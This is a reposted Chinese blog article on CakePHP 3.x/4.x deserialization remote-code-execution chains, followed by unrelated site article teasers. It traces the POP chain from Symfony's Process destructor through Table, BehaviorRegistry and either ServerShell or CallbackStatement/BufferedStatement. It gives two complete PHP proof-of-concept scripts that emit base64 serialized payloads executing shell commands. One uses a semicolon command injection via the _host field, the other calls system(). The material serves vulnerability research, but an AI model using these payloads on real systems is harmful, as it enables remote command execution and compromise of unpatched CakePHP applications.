CakePHP 3.x/4.x反序列化RCE链

news2024/11/26 2:18:00

最近网上公开了cakephp一些反序列化链的细节,但是没有公开poc,并且网上关于cakephp的反序列化链比较少,于是自己跟一下 ,构造pop链。

CakePHP简介

CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用,而又不失灵活性。

3.x ≤ 3.9.6

入口位于vendor\symfony\process\Process.php的__destruct方法

在一些老版本中,__destruct方法是这样的:

跟进stop方法:

跟进isRunning方法:

$this->status可控,可以继续进入updateStatus方法,让其等于"started"即可

继续跟进readPipes方法:

发现$this->processPipes可控且调用readAndWrite方法,这样就我们可以调用任意类的__call方法

全局搜索,找到vendor\cakephp\cakephp\src\ORM\Table.php有合适的__call方法:

这里的$this->_behaviors也可控,到这里我们就可以调用任意类的call方法了

继续寻找,在vendor\cakephp\cakephp\src\ORM\BehaviorRegistry.php找到了合适的call方法:

这里就可以调用任意类的任意方法了,但是参数不可控

再来看看进入call_user_func_array的条件:

这里的$method就是之前触发__callreadAndWrite方法

跟进hasMethod方法,$this->_methodMap可控,所以可以使其返回true

再来看看has方法,是在父类ObjectRegistry中定义的,$this->_loaded也可控

所以条件成立,可以利用回调函数调用任意方法

接下来找到不需要参数的合适方法:

位于vendor\cakephp\cakephp\src\Shell\ServerShell.php的main方法

执行的命令由可控参数$this->_host、$this->_port等拼接而成,我们可以利用分号进行命令注入

但是由于前面的php -S命令,在windows下没有php环境变量可能无法利用

在执行命令之前,还得先让两个$this->out方法正常返回,否则会报错退出

一路跟进来到vendor\cakephp\cakephp\src\Console\ConsoleIo.php

这里的$level为1,我们只需要让$this->_level小于1即可使其返回true

到这里就可以执行系统命令了

poc:

<?php
namespace Cake\Core;
abstract class ObjectRegistry
{
    public $_loaded = [];
}


namespace Cake\ORM;
class Table
{
    public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{
    public $_methodMap = [];
    protected function _resolveClassName($class){}
    protected function _throwMissingClassError($class, $plugin){}
    protected function _create($class, $alias, $config){}
}


namespace Cake\Console;
class Shell
{
    public $_io;
}

class ConsoleIo
{
    public $_level;
}

namespace Cake\Shell;
use Cake\Console\Shell;
class ServerShell extends Shell
{
    public $_host;
    protected $_port = 0;
    protected $_documentRoot = "";
    protected $_iniPath = "";
}


namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{
    public $processPipes;
}


$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["servershell","main"]];
$a = new \Cake\Shell\ServerShell();
$a->_io = new \Cake\Console\ConsoleIo();
$a->_io->_level = 0;
$a->_host = ";open /System/Applications/Calculator.app;";
$pop->processPipes->_behaviors->_loaded = ["servershell"=>$a];

echo base64_encode(serialize($pop));

3.x某些版本、4.x ≤ 4.2.3

4.x版本前半部分的整体思路和3.x基本一样,部分代码有变动

4.x版本ServerShell类修改了,没有之前一样好用的方法了

寻找新的调用链:

vendor\cakephp\cakephp\src\Database\Statement\CallbackStatement.php

这里有动态调用,方法名可控,参数$row通过$this->_statement->fetch($type)获得

于是寻找可用的fetch方法

vendor\cakephp\cakephp\src\Database\Statement\BufferedStatement.php有合适的方法:

这里$this->buffer、$this->index、$this->_allFetched参数均可控,可以返回我们指定的$row

于是可以达成任意方法执行,直接指定system执行系统命令

poc:

<?php
namespace Cake\Core;
abstract class ObjectRegistry
{
    public $_loaded = [];
}


namespace Cake\ORM;
class Table
{
    public $_behaviors;
}

use Cake\Core\ObjectRegistry;
class BehaviorRegistry extends ObjectRegistry
{
    public $_methodMap = [];
    protected function _resolveClassName(string $class): ?string{
        return $class;
    }
    protected function _throwMissingClassError(string $class, ?string $plugin): void{}
    protected function _create($class, $alias, $config){}
}


namespace Cake\Database\Statement;
class StatementDecorator {
    public $_statement;
}

class CallbackStatement extends StatementDecorator
{
    public $_callback;
}

class BufferedStatement
{
    public $_allFetched;
    public $buffer = [];
    protected $index = 0;
}


namespace Symfony\Component\Process;
use Cake\ORM\Table;
class Process
{
    public $processPipes;
}


$pop = new Process([]);
$pop->status = "started";
$pop->processPipes = new Table();
$pop->processPipes->_behaviors = new \Cake\ORM\BehaviorRegistry();
$pop->processPipes->_behaviors->_methodMap = ["readandwrite"=>["callbackstatement","fetch"]];
$a = new \Cake\Database\Statement\CallbackStatement($statement, $driver,"");
$a->_callback = "system";
$a->_statement = new \Cake\Database\Statement\BufferedStatement($statement, $driver);
$a->_statement->_allFetched = true;
$a->_statement->buffer = ["open /System/Applications/Calculator.app"];
$pop->processPipes->_behaviors->_loaded = ["callbackstatement"=>$a];

echo base64_encode(serialize($pop));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1090062.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

美团Leaf使用

简介 在复杂分布式系统中&#xff0c;往往需要对大量的数据和消息进行唯一标识。如在美团点评的金融、支付、餐饮、酒店、猫眼电影等产品的系统中&#xff0c;数据日渐增长&#xff0c;对数据分库分表后需要有一个唯一ID来标识一条数据或消息&#xff0c;数据库的自增ID显然不…

全面解析找不到msvcr100.dll的解决方法,快速修复系统msvcr100.dll丢失问题!

在计算机的使用过程中&#xff0c;我们可能会遇到各种问题&#xff0c;其中之一就是“msvcr100.dll丢失”的问题。这个问题通常出现在运行某些程序或游戏时&#xff0c;提示找不到msvcr100.dll文件。这个文件是Microsoft Visual C 2010 Redistributable Package的一部分&#x…

学习 MPP 与 SMP 的区别,终于有人讲明白了

文章目录 01 SMPSMP 的典型特征如下&#xff1a;SMP 的缺点如下。 02 分布式MPP计算架构MPP 架构核心原理如下。 导读&#xff1a;当今数据计算领域主要的应用程序和模型可大致分为在线事务处理&#xff08;On-line Transaction Processing &#xff0c;OLTP&#xff09;、决策…

山西电力市场日前价格预测【2023-10-14】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-10-14&#xff09;山西电力市场全天平均日前电价为221.03元/MWh。其中&#xff0c;最高日前电价为341.15元/MWh&#xff0c;预计出现在18: 45。最低日前电价为0.00元/MWh&#xff0c;预计出…

招投标系统软件源码,招投标全流程在线化管理

功能描述 1、门户管理&#xff1a;所有用户可在门户页面查看所有的公告信息及相关的通知信息。主要板块包含&#xff1a;招标公告、非招标公告、系统通知、政策法规。 2、立项管理&#xff1a;企业用户可对需要采购的项目进行立项申请&#xff0c;并提交审批&#xff0c;查看所…

lv8 嵌入式开发-网络编程开发 17 套接字属性设置

1 基本概念 设置套接字的选项对套接字进行控制除了设置选项外&#xff0c;还可以获取选项选项的概念相当于属性&#xff0c;所以套接字选项也可说是套接字属性有些选项&#xff08;属性&#xff09;只可获取&#xff0c;不可设置&#xff1b;有些选项既可设置也可获取 2 选项…

Android组件通信——消息机制(二十六)

1. 消息机制 1.1 知识点 &#xff08;1&#xff09;掌握Message、Handler、Looper类的使用以及消息的传递&#xff1b; &#xff08;2&#xff09;可以通过消息机制动态取得信息&#xff1b; 1.2 具体内容 对于android的消息机制&#xff0c;我们主要要使用Java中线程的一…

医生访问学者出国进修必备面试技巧

医生访问学者出国进修&#xff0c;一直以来都是医学领域内追求更高学术水平和国际化视野的重要途径之一。然而&#xff0c;要成功进入国外院校或研究机构进行进修&#xff0c;首先需要通过面试&#xff0c;因此&#xff0c;面试技巧显得尤为关键。本文知识人网小编将为您介绍一…

LeetCode 739 每日温度(单调栈的初步了解)

1、重新学习了栈的操作&#xff0c;isEmpty()、peek()以及pop()、push()操作 但是值得注意的点是push()必须要有输入 2、单调栈用在这里非常巧妙&#xff0c;通过暴力搜索的方法无法通过最后一个用例 并且通过使用单调栈可以使得时间复杂度从O()降到了O() 3、Deque<Inte…

竞赛 深度学习+opencv+python实现车道线检测 - 自动驾驶

文章目录 0 前言1 课题背景2 实现效果3 卷积神经网络3.1卷积层3.2 池化层3.3 激活函数&#xff1a;3.4 全连接层3.5 使用tensorflow中keras模块实现卷积神经网络 4 YOLOV56 数据集处理7 模型训练8 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &am…

回归预测 | MATLAB实现CNN-LSSVM基于卷积神经网络-最小二乘支持向量机的数据回归预测(多指标,多图)

回归预测 | MATLAB实现CNN-LSSVM基于卷积神经网络-最小二乘支持向量机的数据回归预测&#xff08;多指标&#xff0c;多图&#xff09; 目录 回归预测 | MATLAB实现CNN-LSSVM基于卷积神经网络-最小二乘支持向量机的数据回归预测&#xff08;多指标&#xff0c;多图&#xff09;…

关于信息安全软考的记录6

1、入侵检测相关概念 及 入侵检测模型 入侵&#xff1a;违背访问目标的安全策略的行为 判断入侵的依据是&#xff1a;对目标的操作是否超出了目标的安全策略范围 入侵检测&#xff1a;通过收集操作系统、系统程序、应用程序、网络包等信息&#xff0c;发现系统中违背安全策略…

【unity】【VR】白马VR课堂系列-VR开发核心基础04-主体设置-XR Rig的引入和设置

接下来我们开始引入并构建XR Rig。 你可以将XR Rig理解为玩家在VR世界中的替身。 我们先删除Main Camera&#xff0c;在Hierarchy右键点击删除。 然后再在场景层右键选择XR下的XR Origin。这时一个XR Origin对象就被添加到了Hierarchy。 重设XR Origin的Position和Rotation…

C++中将十六进制数转化为字符串数据

C中将十六进制数转化为字符串数据 1、十六进制转字符串2、string转char[]3、调用4、调试结果 1、十六进制转字符串 std::string Number2HexStr( uint32_t mData ) {std::stringstream ss;ss << std::hex << std::setw(2) << std::setfill(0) << (int)…

快速排序 O(nlgn)

大家好&#xff0c;我是蓝胖子&#xff0c;我一直相信编程是一门实践性的技术&#xff0c;其中算法也不例外&#xff0c;初学者可能往往对它可望而不可及&#xff0c;觉得很难&#xff0c;学了又忘&#xff0c;忘其实是由于没有真正搞懂算法的应用场景&#xff0c;所以我准备出…

el-dialog两个弹框里面套弹框受外层弹框影响

el-dialog嵌套的影响及解决方法 解决方法如下&#xff1a; 在里层弹框里添加 append-to-body <el-dialogtitle"图片预览":visible.sync"dialogVisible"class"imgDialog":modal"false"append-to-body><img width"100%&q…

分享一个查询OpenAI Chatgpt key余额查询的工具网站

OpenAI Key 余额查询工具 欢迎使用 OpenAI Key 余额查询工具网站&#xff01;这个工具可以帮助您轻松地验证您的 OpenAI API 密钥&#xff0c;并查看您的余额。 http://tools.lbbit.top/check_key/ 什么是 OpenAI Key 余额查询工具&#xff1f; OpenAI Key 余额查询工具是一…

要想成为黑客,离不开这些资料

目录 一、想入门学黑客&#xff0c;去哪里找详细的教程&#xff1f; 二、适合新人入门的书籍 三、相关网站推荐 四、在线靶场 五、Web安全学习路线 六、Web安全入门基础学习 小白在学习黑客的过程中一般会遇到这样一些问题&#xff1a;感觉自己工具、原理都会了但是遇到真…

ue5打包失败与优化项目

打包报错&#xff1a; PackagingResults: Error: Multiple game targets found for project. Specify the desired target using the -Target... argument. 解决方案&#xff1a; 关闭项目后&#xff0c;删除项目目录下的 Intermediate 文件 再重新启动项目打包即可 参考&…

小学英语教学计划模板范文 英语优秀教案模板

小学英语课教学计划模板&#xff1a; 课程时长&#xff1a;40分钟/节 课程目标&#xff1a;本课程的目标是让学生达到一定的英语水平&#xff0c;包括词汇、语法、听说读写能力等。 授课内容&#xff1a; 主题 1&#xff1a;Unit 1 Greetings 内容&#xff1a;学习如何用英…